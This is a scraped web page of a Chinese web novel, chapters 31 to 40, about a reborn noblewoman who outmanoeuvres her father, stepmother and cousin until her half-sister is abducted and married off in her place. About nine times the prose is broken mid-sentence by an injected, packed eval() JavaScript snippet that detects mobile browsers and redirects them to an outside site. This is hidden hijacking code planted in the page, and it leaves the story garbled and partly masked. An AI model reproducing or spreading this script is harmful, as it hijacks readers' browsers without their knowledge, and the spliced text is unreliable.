“我知道了，阿烟，我不用你保护，你只需帮我盯住文安候夫人和苏倩儿即可。” “可是小姐，殿下叫我保护您我……” “你帮我盯紧她们，就是对我最大的保护，她们想让我嫁入侯府，就不会动我，反而要保护好我。不过万一哪天她们把我送上花轿，你想拦也拦不住。” 第31章 求助 阿烟恍然大悟，她郑重道：“您说的对，我这就去盯着她们。” 说完，她便一溜烟跑个没影。 吉祥目瞪口呆道：“她……真不一般…” 如此说来裴行止是想与她继续合作。 沈晚眠心情大好，她吩咐吉祥准备些礼物送给表兄当做乔迁礼。 表兄财大气粗，必定不会让吉祥空手而归。 这样想着，沈晚眠不自觉笑出声。 吉祥在上次沈怀瑾送来的东西里挑了几件，便出门了。 门口传来声响，她以为吉祥落了东西。 “怎么了，忘带东西了？” 沈晚眠气定神闲的喝着茶，完全没注意身后的人并非吉祥。 “吉祥”迟迟没说话，她下意识回过头，却被眼前人吓了一跳。 “六兄！你怎么来了？” 沈怀宁背着光，她看不清他脸上的表情，但能感受到他身上传来的低气压。 “昭昭，你能帮帮我吗？” 沈怀宁垂着头，满脸痛苦，就在他要跪下的瞬间。 沈晚眠一把将他捞起。 她可受不起此等大礼。 沈晚眠被他吓的鸡皮疙瘩都起来了。 “你这是做什么，有话好好说。” 沈怀宁赶紧道歉：“对不起，我吓到你了，但我真的…真的没办法…” 他激动的语无伦次，沈晚眠这才看清，他的眼睛里布满了红血丝。 她忙递上一杯茶：“别激动，你先缓缓。” 沈怀宁平静下来，他哽咽着说道：“昨日吏部派人来通传，叫我去翰林院任职，可父母想让我兄长代替我去，我寒窗苦读数十载，才考取功名得以入仕，怎么能拱手让人。” 沈晚眠突然感觉哪里不对，但她说不上来。 “你想让我帮你做什么？” 沈怀宁声泪俱下，语气近乎哀求。 “我知道，你表兄是状元，他也应在翰林院，更何况，你与七皇子、太子都认识，你帮帮我，帮帮我好不好。” 那日从贡院出来，沈晚眠主动跟他讲话。 虽然他不知她的话是什么意思，但他知道，她对自己没有恶意。 后来沈晚眠和七皇子的事传出。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050905|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便起了与对方交好的意愿。 老夫人寿宴上，太子竟也与她有交集，他更要和她交好。 于是他撒谎，称她的话救了他一命，还说她母亲的死他知晓原因。 今日父母跟他说不让他出去祸害人的时候。 他都想拉上兄长玉石俱焚。 苏氏被**的消息一出，他才清醒过来。 沈晚眠这把锋利的刀，他还没用呢。 只要他能用好，就能得到他想要的一切。 沈晚眠沉思片刻，拒绝的话都要出口。 电光火石间，她突然想到，上一世三房起火的日子，不正是今日吗。 寿宴那晚，他说了谎！ 他为何要说谎，仔细想想，她的生辰之后，他好像一直在找机会与自己亲近。 看来他一早便察觉自己背后有人撑腰。 想到杜氏对自己的警告，她的脑海里突然生出一个可怕的念头。 上一世的大火，不会就是……他放的吧！ 沈晚眠被自己的想法惊到。 她努力维持住自己的表情，怕被他发现异样。 第32章 意图 上一世没人帮他，所以他拉着自己的兄长共赴火海。 如果她回绝了，他会不会也将她…… “行，不过此事得容我好好想想，你先拖几日，等我有了计策，在与你商议，哈哈。” “那个，要不你先回？” 为了保住小命，她得先将他稳住。 “不着急，我还有话要说。” 沈怀宁脸上的悲伤一扫而空，他压低嗓音，神秘道：“你还记得几日前我同你讲的话吗？” 她当然没忘，不过现在看来，那些都是他瞎编的。 “记得，怎么了？” “你母亲的死，其实是你父亲和苏氏联手做的局，这对狗男女，婚前通奸，为了能将苏氏娶进门，沈知舟只能娶了你母亲。” “婚后苏氏以泪洗面，觉得沈知舟背叛了她，沈知舟为了哄她，便对伯母起了杀心。” “这二人狼狈为奸，若不杀之，怎么对得起伯母在天之灵！” 听完他的这番话，沈晚眠总算知道他的意图。 他是想让她亲手弑父，为他扫平障碍。 二房都是武将，沈氏书香世家，下一任家主恐怕与二房无缘。 而他一举便中榜。 沈知舟若是**，下一任家主大概就是他。 好一记借刀**。 之前听了他的话，再加上她原本就觉得苏氏与她母亲的死有关。 这才被误导。 那日她在晚香堂与老夫人对峙，虽然她说沈家对不起她母亲。 却也没说是苏氏害她母亲身亡。 她母亲的死还是存疑。 “真相居然是这样！我竟认贼作父十六年！！！” 为了让他相信自己已经完全被他带偏。 沈晚眠用尽毕生演技，声嘶力竭的吼出这句话。 随后，她又哭又笑，使劲拉扯自己的头发，看起来像是后宫疯了的妃子。 沈怀宁假惺惺的安慰道：“别自责了，这些都是你出生前的事，苏氏有意隐瞒，你不知道也正常。” “你自己好好想想吧，我先回去了。” 沈怀宁目的达成，心情大好的离开了。 沈晚眠见他走远了，才放松下来。 她擦了擦额头的汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050906|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这个家待得太不容易了。 前有狼后有虎，不知她背后到底有多少双眼睛。 她瘫倒在床上，一动不想动。 听到门口又有声音，沈晚眠立马打起十二分的精神。 “小姐，我回来了，表少爷回了好多礼，你快来瞧瞧。” 看到是吉祥，她又重新瘫下去。 “小姐，你怎么了？” 往日听到礼品小姐都是第一个冲上前，今日这是怎么了。 沈晚眠连抬头的力气都没了。 她盯着破破烂烂的房顶，有气无力道：“累啊～” “我去送东西的时候，听府里的下人说，表少爷明日要去翰林院任职了。” 此事真得麻烦表兄了。 事不难办，难办的是沈怀宁这个人。 他太阴险了。 沈晚眠躺了一会，休息够了就起身去给李言初写信。 落下最后一笔后，她想找个信封装起来，却发现自己连信封都没有。 她无奈的笑了笑，只能把纸折了两下。 并嘱咐吉祥亲手将信交到表兄手上。 第33章 相撞 过了几日，李言初亲自上门拜访。 但他并不是来看表妹的，而是来找沈怀宁。 三房夫妇不认识李言初，但对方穿着官服，他们不得不接待。 “大人，您是？” 沈知川为他倒了杯茶，客气询问道。 李言初轻抿一口。 “请问二公子何在？” 沈知川心头一紧，这人看着不像吏部的，像是翰林院的，该不会是催他上任吧。 这些天老二死活不松口，这倒是个让怀安上位的机会。 可惜沈怀宁没让他如愿。 他一早就收到沈晚眠的消息，早在门外等着了。 “我就是沈怀宁，大人找我何事？” 李言初放下手中的茶盏，围着他转了一圈。 不错，和昭昭信里描述的特征都对的上。 “不必多礼，我算是你的同僚，不必称呼我大人。” “这几日你一直告假，学士很关心你，叫我来代替同僚来看看你，自我介绍一下，我叫李言初，是新上任的侍读学士。” 沈知川愣在原地，李言初！那不是今年的科考状元吗。 听说陛下对他极其重视。 虽然现在只是从五品的侍读学士，可翰林院的大学士年事已高。 过不了多久就要告老还乡。 到时候他就是大学士，整个翰林院都归他管。 他亲自来家里认人，那他的计划基本泡汤了。 沈知川强颜欢笑道：“既是来看望怀宁的，我便不打扰了，你们年轻人聊。” 沈怀宁勾了勾唇，他这个堂妹，果然有手段。 李言初还有公务在身，表妹交代的事他已办妥。 再者他对面前的人实在亲近不来。 沈知川离开不久他也匆匆告辞。 他走的急，拐弯时没注意有人。 冷不丁与一人撞了个满怀。 恍惚间，他看到对面是个女娘，见她就要摔倒，他也顾不得别的。 直接伸手拉了她一把。 沈书玉站稳后，本想好好骂对方一顿，看到对方的脸后，她却微微一滞。 那男子虽身着官袍，却有天人之姿。 他眉目清冷，鼻梁高挺，像是话本里才有的谪仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050907|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的人物。 沈书玉不觉入了迷。 “你没事吧。” 李言初看她不说话，还一直盯着他的脸看，以为对方受伤了。 “没事没事，公子没事吧。” 李言初瑶瑶头：“抱歉，适才是我冲撞了小姐，若是小姐无事，我便先行离开了。” “公子且慢，我还不知你叫什么。” 沈书玉红了脸，她低下头不好意思道。 李言初不想和对方纠缠。 “我叫李言初，小姐没有别的事我就先走了。” 看着男人清瘦的背影，沈书玉的大脑一下清空了。 那些烦恼都被她抛到九霄云外，只剩下李言初的脸。 沈书玉满怀心事的离开后。 躲在暗处的沈晚眠终于忍不住笑出声。 就算表兄现在没有喜欢的人，不久的将来也会有。 看来沈书玉要承受相思之苦了。 沈书玉回到房中，心里还在回味刚才二人的对话。 “这段时间你别去招惹沈晚眠，过几天她就嫁到文安候府了，千万不能出了岔子。” 第34章 心意 女儿迟迟没回应，苏倩儿才注意到她神色有异。 “你怎么了，刚才说的话你听清了吗？” “知道了知道了。” 沈书玉才不在意她说了什么，她现在满脑子都是李言初。 坏了，她怎么忘了把自己的名字告诉他了。 不过没关系，她可以主动去找他。 “你啊，一天天的净让娘为你操心，你都十八了，也在娘身边待不了几年了，只要那个小**一走，咱们才算真真正正的一家人你父亲……唉唉，你干什么去？” 沈书玉听到关键词，眼睛立马亮了。 既然他在朝为官，父亲应该知道他。 想到这里她直接动身去找父亲。 沈知舟正在书房处理公务。 看到女儿他微微诧异。 书玉平日最烦读书，书房更是一步都不踏足。 说看到这些密密麻麻的书就头疼。 怎么今日愿意来了。 “书玉，你怎么来了？” 沈书玉抱住父亲的胳膊撒娇道：“我都好几天没见到父亲了，您不想我吗？” 见到女儿撒娇，沈知舟乐开了花。 “你啊，你，整日摸不着人影还怪父亲不去看你，说吧，又闯什么祸了。” 沈书玉嗔怪道：“哎呀，女儿今天来是有正经事。” 沈知舟才不信她的话：“你能有什么正经事，说来听听。” 想到那张清俊的脸，沈书玉的声音不自觉染上娇羞。 “父亲，你认识李言初吗？” “李言初，这名字好耳熟。” 沈知舟仔细想了想，突然想起他是谁。 “对了，今年的状元郎就叫这个名字。” 沈书玉没想到自己的心上人竟如此有才华。 “那他是不是已经做官了。” 对上女儿期待的眼神，沈知舟还有什么不明白的。 他微微眯起双眼，嘴角上扬：“是啊，在翰林院任职，你这丫头，又打什么鬼主意呢。” 沈书玉害羞的捂住自己的脸。 “您说什么呢？” 沈知舟忍不住哈哈大笑：“你啊，不过你是怎么认识他的。” “今日在花园中，我们不小心撞上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050908|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他与李言初素不相识，他怎么会出现在沈府？ 苏倩儿补充道：“他好像是从三房那边出来。” 三房的怀宁中榜了，听说也被派遣到翰林院，但他一直称病在家，还没去任职。 李言初应该是来看他的。 “你六兄也在翰林院，他是来看望同僚的吧。” 随后，沈知舟又调侃道：“状元可不喜欢不懂诗书的女娘。” 沈书玉被说的羞红了脸，她留下一句知道了，便跑出了书房。 既然他与沈怀宁是同僚，那她就与沈怀宁处好关系。 沈知舟摸着胡子，满脸慈爱的看着女儿。 若是李言初对书玉也有意，的确是门好亲事。 他吩咐手下去查探李言初的家底。 就算他家贫寒也好，只要书玉喜欢，他都可以成全。 但前提是家境要干净，没有官司。 “小姐，属下蹲了好几日，没探查出她们想几时动手。” 阿烟找到沈晚眠，将这几日的消息告知与她。 不管了，与其被动的等对方出手，不如自己主动抛出诱饵。 第35章 道歉 沈晚眠正思考下一步该怎么行动时。 沈怀宁又来找她了。 “昭昭，你猜刚才我见到了谁。” 沈晚眠只想赶紧将他送走。 “六兄有话不妨直说。” 她现在烦得很。 沈怀宁也不恼：“沈书玉来找我了，看样子她似乎对李兄很感兴趣。” 沈晚眠灵机一动，突然想到一个绝妙的主意。 “六兄，你愿意帮我吗？” 沈怀宁不问她想干什么，直接同意了。 她要做的，无非就是对付那三人。 “这几日你不要来找我，不能让沈书玉看出端倪，你先假意与她交好，等时机到了我再找你。” 送走了沈怀宁，沈晚眠又拿出纸笔。 沈书玉能去找沈怀宁，一定去问过沈知舟。 既如此沈知舟定会去查表兄的背景。 等他查到表兄的身份，就会怀疑她与表兄是否已经相认。 还会怀疑这是不是她们兄妹做的局。 因此她不能暴露她们已经相认。 这信必须得由躲在暗处的阿烟去送。 做完这一切，沈晚眠在心底默默为自己祷告。 如果不是别人先算计她，她也不想做坏事。 反应过来自己竟然在祈求上天保佑，沈晚眠自嘲一笑。 东宫十年，她手上不知道沾染了多少人命。 现在的她，竟然会愧疚。 夜色正浓，沈晚眠躺在床上。 她翻来覆去好几次，却怎么都睡不着。 实在心烦，她便起身往外面走去。 夜深时分，万籁俱寂。 明月高悬于空，洒下银白色的光辉。 一阵清风拂过，将她的心事吹散。 沈晚眠坐到石凳上，感受这份安宁。 树上传来窸窸窣窣的声音，她抬起头，正好撞见树上的裴行止。 沈晚眠吓了一跳，连忙起身。 树上的男人尴尬跳下，他没想到沈晚眠会在这儿，刚来就被抓包。 “殿下！你怎么在这！！” 裴行止有些心虚，上次的事他还没亲自道歉。 现在又被人家抓个现行。 他只觉得脸上火辣辣的疼。 “对不起，是我误会你了。” 沈晚眠不明所以。 “什么？” “就是寿宴那次。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050909|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不是已经让阿烟道歉了吗，她压根没把那件事放在心上。 “没事，都是小事。” 看她毫不在意，裴行止紧绷的心渐渐放松。 “之前我们的约定，还作数吗？” 他小心翼翼问道。 “当然，你派阿烟过来不就是想继续嘛。” 这下他的心终于放回肚子里了。 “你还没回答，你为什么在这。” 得到想要的答案，他不再担心别的了。 裴行止委屈道：“你让阿烟给李言初送信。” 他还以为她不要他了。 沈晚眠还以为，他觉得她需要帮助。 “我知道，殿下最近在忙，你查你的，不用管我，不过你可不可以进度放慢点。” 要是在计划成功之前，文安候府就被抄家了，那就没意思了。 “什么意思？” 沈晚眠解释道：“等办完喜事，再抄家也不迟。” 裴行止惊讶的看着她。 她怎么知道文安候府与他在查的案子有关。 难道是阿烟说的？ 只有这个解释能行得通。 “好，我答应你。” 第36章 撩拨 借着月光，沈晚眠眸光微凝，看到藏在他发间的树叶。 她不自觉走近，踮起脚尖，动作轻柔缓慢。 靠的近一分，裴行止的心跳就急一分。 他们还没成亲，这样不好吧。 虽然他这样想，脚步却没移动半分，甚至隐隐有些期待。 他闭上眼，等着她吻。 感受到她的指间拂过他的发丝，裴行止的心脏，几乎要跳出胸腔。 过了许久，想象中的触感并没传来。 他疑惑的睁开眼，沈晚眠已经退开了，手里还把玩着一片树叶。 “殿下，你困了吗？困了就回去睡吧。” “啊？” “那您还有什么事吗？” “没……没有了…” 裴行止窝囊的离开了。 沈晚眠看着他仓皇的背影，不自觉笑出声。 真不经逗。 看来她没猜错，裴行止果然对她有情。 想起上一世的惨状，她们还是维持现状比较好。 第二日，她收到表兄的回信，他同意了她的计划，并提醒她万事小心。 沈晚眠放下心，准备前往晚香堂。 老夫人明日便要离开了。 临行之际，沈家三房都去拜别,顺便吃顿晚膳，连苏倩儿都去了。 饭桌上，沈书玉像是转了性。 平日里她谁都瞧不上，更别提和别人亲近。 今日她竟破天荒的和沈怀宁挨着坐，还和他有说有笑。 “唉，你说这**精今日抽的什么风，居然跟闷葫芦凑一起去了。” 沈怀瑾戳戳沈晚眠，不可思议道。 **精是他给沈书玉起的外号。 小时候他捉弄沈书玉，沈书玉哭着叫他滚，因为哭的太大声，扯到了嗓子。 便说成了“呱”，从那之后，他背地里就偷偷叫她**精。 “不知道，吃你的吧。” 饭后，沈怀宁把沈书玉叫到没人处，悄悄塞给她一封信。 “今日我上任，李兄向我问起你，我便跟他讲了，还说你很想和他认识，他听后表示他也有此意，还让我替他送信。” 沈书玉听到这话，立马开心的不得了，她把信封反反复复看了好多遍。 信封是用上好的瓷青纸，和官家用的普通的宣纸不同。 一看便知写信的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050910|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是用了心的。 “多谢六兄，我想给李公子回信，你能帮我送给他吗？” 沈怀宁应下她的请求。 笑意却未达眼底。 沈书玉满心欢喜的拿着信回了院子。 撇到父亲的身影，她忙将信藏起来。 “父亲，您怎么来了？” 沈知舟一脸严肃道：“以后别跟那个姓李的往来了。” 之前不是还好好的吗，怎么突然就不让她和李公子往来了。 “为什么？” 沈书玉有些激动道。 “我说不行就是不行，你连父亲的话都不听了吗！” 他总不能跟女儿说你喜欢的人是你最讨厌的沈晚眠的表兄吧。 这对她来说太过残忍。 “你们不过才见过一面，赶快把他忘了，父亲给你找更好的，我看今年的探花郎长得也不错，也挺懂得为人处世，过几日我将他叫到家里来，你们见见。” 沈书玉气的眼泪都要流出来了。 她冲沈知舟怒吼道：“我不要什么探花郎，我只要李公子！” “嘭”的一声，沈书玉将房门关上，把沈知舟隔绝在门外。 第37章 回信 沈知舟知道他现在说什么都没用，只能等女儿冷静下来再说。 “你自己好好想想吧。” 留下这句话，沈知舟就离开了。 沈书玉独自生了好久的闷气。 突然想起她还有封信没看。 她将房门紧锁，怕被父亲发现。 等她满怀希望的看完后，内心不免生出失落。 信上只写了他对撞到她感到抱歉，还有一些不冷不热的问候。 字里行间透露出写信人的冷漠和疏离。 既然他肯给自己写信，那她就还有机会。 沈书玉很快又振作起来。 完全忘了沈知舟对她的警告。 她坐到书案前，一笔一划的给对方回信。 写完后，她拿起李言初给她的信放在一起对比。 一开始她还挺满意自己的字的，和李公子的字放在一起。 简直没法看。 她烦躁的将信揉作一团丢了出去。 又重新执笔。 沈晚眠看着纸上一板一眼的字体，无语到了极点。 这人虽然名字里带了个“书”字，本人却没文化的很。 瞧瞧这字，跟刚启蒙孩童写的没差。 听说阿烟说沈知舟不让她同“李公子”来往。 但没跟她说李言初就是她的表兄。 沈书玉气不过，发了好大的火。 父女二人正在冷战，谁都不理谁。 仔细读完，她又写了回信，交代吉祥偷偷送到三房。 此后二人又书信来往几次。 尽管她每次的回信都不冷不热。 但禁不住沈书玉会瞎想。 礼貌的问候在她那里成了关心的证据。 不经意间流露出的日常在她看来是主动分享。 情窦初开的女娘，还真是好骗。 沈晚眠估摸着是时候了。 老夫人走了，估计她们早就按耐不住了。 只是她一直闭门不出，她们没找到合适的机会对她下手。 现在她要主动咬钩，引她们出手。 沈晚眠找到沈知舟，向他请辞。 “父亲，女儿想去元音寺为母亲上一炷香，不过路途遥远，我想着在寺院住一晚。” 沈知舟眼珠一转，正愁没办法把她骗出门呢，她自己就主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050911|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出要外出。 “好啊，这是好事，你去管家那，多取些银两，别忘了替为父给你母亲上柱香。” 沈晚眠一走，他和李氏的情分彻底断了。 当然要好好告别。 沈晚眠给沈书玉写了最后一封信，约她在元音寺见面。 沈书玉收到信后，开心的不得了。 李公子终于肯见自己了。 她知道沈晚眠也要去元音寺，也知道母亲的计划。 正好还能看她的笑话。 但是父亲不让她跟李公子来往，她贸然外出定会引起父亲的怀疑。 所以她得偷偷出去。 可元音寺那么远，她该怎么去呢？ 听说沈晚眠要在那里住一晚，所以准备了两个马车，第二辆马车放她要用的东西。 那她可以躲进第二辆马车里！ 沈书玉越想越觉得可行。 她将贴身丫鬟夏竹叫来，跟她说了自己的计划。 夏竹听后不免担忧：“小姐，这太危险了。” 沈书玉振臂一挥：“那你也跟着去不就好了。” 夏竹思索了一会儿，觉得可行。 第38章 掳走 万一小姐跑出去被老爷发现了。 肯定会惩罚伺候小姐的丫鬟。 她跟着小姐走了，老爷就罚不到她了。 回来后也有小姐为她撑腰，她还能为自己开脱说她实在拗不过小姐。 跟着去是为了保护她。 主仆二人商议好。 第二日一早便躲进马车里。 沈晚眠出门前特意带了帷帽。 听阿烟说沈府门口多了辆鬼鬼祟祟的马车。 周围都是面生的男人。 既如此她便不能在那些人面前露脸。 马车开始前行。 沈书玉昨夜太过兴奋，都没怎么睡着。 随着马车晃晃悠悠，她很快就昏睡过去。 夏竹也是如此。 中途，沈晚眠让马车先停下，她要去店铺买点东西。 出来时，她还伸了个懒腰，上了后面的马车。 一进马车，她就看到被迷晕的主仆二人双双倒下。 沈晚眠将帷帽扣到沈书玉脑袋上，还将身上的衣服换到了沈书玉身上。 她自己则是从箱子里拿出一身方便行动的衣裙换上。 到了闹市，她让车夫加速，甩开了后面的尾巴。 趁着间隙，她赶紧跳下车，躲进了巷子里。 阿烟早就在巷子里等她。 二人会面后，阿烟牵来一匹马，带着沈晚眠悄悄跟上尾随她的马车。 如果沈知舟和苏氏没有害她的心思，他们的女儿就会无恙。 若是起了歹念，那就让沈书玉替他们承受代价吧。 马车一路来到京郊。 尾随的打手终于忍不住，对前面的马车出手。 他们将马车逼停，挟持车夫退后。 随后闯进马车内。 为首的大胡子一看沈书玉竟还睡着，心情瞬间大好。 他还怕这小女娘醒着不好搞，东家说了不能让她受伤，她是要去做新娘子的。 先下她睡着，便不麻烦了。 大胡子将沈书玉扛起，角落还躺着个夏竹。 东家只说要沈家小姐，没说丫鬟怎么处置。 “你，继续驾你的车，该去哪去哪。” 大胡子凶神恶煞的强迫车夫赶路。 车夫哪敢违背他的话，只能带着夏竹继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050912|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向前。 躲在暗处的沈晚眠将一切尽收眼底。 阿烟询问道：“小姐，接下来我们去哪？” 沈晚眠突然没了主意，她总感觉心里很慌。 “都到这里了，去元音寺吧。” 她不知沈知舟何时会发现，也不知自己下一步该如何。 还是太草率了。 夏竹醒来时，身边已经没人了。 车夫把马车停到元音寺门口便跑了。 夏竹一时不知该如何是好。 小姐丢了，她得赶紧回去告诉老爷。 她下了马，准备找辆回京的马车带她回去。 “夏竹，你怎么在这，你家小姐呢？” 沈怀宁“不经意”偶遇夏竹，上前搭话道。 夏竹都快慌**，如今见到沈怀宁，就像见到救命稻草一般。 “六少爷，小姐她不见了，我能借您的马车回府吗？” 沈怀宁故作惊讶：“什么！好好的人怎么不见了！” “事情有些复杂，您容我上了车再跟您讲。” 沈怀宁伸手挡住车门，夏竹不解道：“您这是什么意思。” 第39章 替嫁 “你现在回去，伯父定不会轻饶你，要是书玉出了什么事，你的小命都难保。” 是她跟着小姐偷跑出门的，小姐不见了，她绝对是第一个受罚的。 “那……那我该怎么办啊，少爷，求您救救我。” 沈怀宁掏出一包银子，递给夏竹。 “拿着这些银子，有多远跑多远。书玉的事我替你跟伯父讲，就说书玉被盗匪劫走，你为了保护书玉身受重伤，我赶到的时候你就还剩一口气。” 夏竹接过银子，跪在地上给沈怀宁磕了个头。 “多谢少爷救命之恩，夏竹没齿难忘。” 夏竹走远后，沈怀宁的脸色冷下来。 “你的心肠太软了，这样的人就不该留。” 阿烟扶着沈晚眠从马车上下来。 “何必滥杀无辜。” 小的时候她被沈书玉关到柴房整整三天。 饿的实在受不了的时候。 夏竹偷偷给了她一个馒头一碗水。 才没让她饿死。 不过是个胆小怕死，但心存善意的小女娘，没必要灭口。 话不投机半句多，沈晚眠和他道完谢，便带着阿烟进了寺庙。 文安侯府，沈书玉被刺目的红烛晃的睁不开眼。 喜婆见新娘子醒了，立马上前恭贺。 “恭喜小姐，贺喜小姐，过了今晚，您便是侯府的少夫人！” 沈书玉反应过来自己顶替了沈晚眠。 她刚想开口解释，却发现她的嘴被红布堵住了。 身上的衣服被换成了喜服。 手脚也被绑着，动弹不得。 她发出绝望的呜咽声，企图告诉面前的婆子，你们绑错了人。 喜婆压根不管沈书玉的死活，一边对她说着吉祥话，一边将红盖头盖到她头上。 沈书玉的视线逐渐被红色笼罩，绝望感在她心头逐渐蔓开来。 “外面有替身，替您拜堂，您就等着晚上和少爷洞房就成。” 屋里的喜婆丫鬟笑成一团。 刺耳的笑声让沈书玉如坠冰窟。 不可以！李公子还在等她，她决不能替沈晚眠受此等羞辱！ 沈书玉猛的起身，将喜婆撞倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050913|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 趴在地上的喜婆，感觉鼻子里涌出一股热流。 她抬手一摸，摸到一手鲜血。 “啊啊啊，给我把这个疯婆娘敲晕，敲晕！” 喜婆一声令下，几个丫鬟瞬间将沈书玉团团围住。 其中一个利落的，抬手往沈书玉后脖颈处一手刀。 沈书玉再次软趴趴的倒下。 喜婆气急，朝沈书玉踹了两脚。 “这么不安分，以后有你好受的。” 送走了瘟神，沈知舟心情十分痛快。 今天是个大好的日子，他要亲自下厨，做一桌子好菜和倩儿好好庆祝。 随着夕阳西下，最后一道菜被端上饭桌。 沈知舟被盘子烫到，嘶哈嘶哈的甩着手。 苏倩儿被他逗笑：“都什么岁数了，怎么还像小孩子似的。” 她轻轻抬起沈知舟的胳膊，对他烫到的手指吹气。 这么多年，倩儿一点都没变，还是如此年轻貌美。 沈知舟将心上人揽在怀中，二人依偎在一起，看着天边红霞，回忆着年少的往事。 第40章 带走 直到天色完全暗下，他们才想起还没吃饭。 “都怪你，菜都凉了。” 苏倩儿嗔怪道。 “怪我怪我，我再去厨房热热，你叫书玉来吃饭。” 女儿已经很久没搭理他了，正好借此机会和书玉好好聊聊。 沈知舟刚把菜重新端上桌，正疑惑母女俩怎么还不来时。 苏倩儿便白着一张脸回来了。 “书玉不见了！” 此话一出，沈府上下乱作一团。 